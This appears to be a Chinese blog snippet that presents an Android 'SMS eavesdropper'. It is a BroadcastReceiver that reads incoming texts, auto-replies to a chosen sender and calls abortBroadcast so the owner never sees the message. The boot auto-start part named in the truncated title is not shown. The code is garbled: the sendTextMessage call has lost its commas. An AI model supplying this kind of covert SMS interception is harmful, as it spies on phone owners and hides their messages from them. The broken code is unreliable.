Android广播实现短信窃听器和开机自动启动Activi

public class MySMSListener extends BroadcastReceiver {          public void onReceive(Context arg0, Intent intent) {                      Bundle bundle=intent.getExtras();           Object[] pdus=(Object[])bundle.get("pdus");                        if(pdus!=null&&pdus.length>0){               SmsMessage[] messages=new SmsMessage[pdus.length];               for(int i=0;i<messages.length;i++){                   byte[] pdu=(byte[]) pdus[i];                   messages[i]=SmsMessage.createFromPdu(pdu);               }               for(SmsMessage msg:messages){                   String content=msg.getMessageBody();                   String sender=msg.getOriginatingAddress();                   Date date=new Date(msg.getTimestampMillis());                   SimpleDateFormat sdf=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");                   String sendTime=sdf.format(date);                                                      if(sender!=null&& sender.endsWith("5556")){                       System.out.println("5556");                       SmsManager smsManager=SmsManager.getDefault();                       smsManager.sendTextMessage("5556"null"go to !!"nullnull);                       this.abortBroadcast();//终止广播                    }               }           }       }      }  

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wyfwzx.html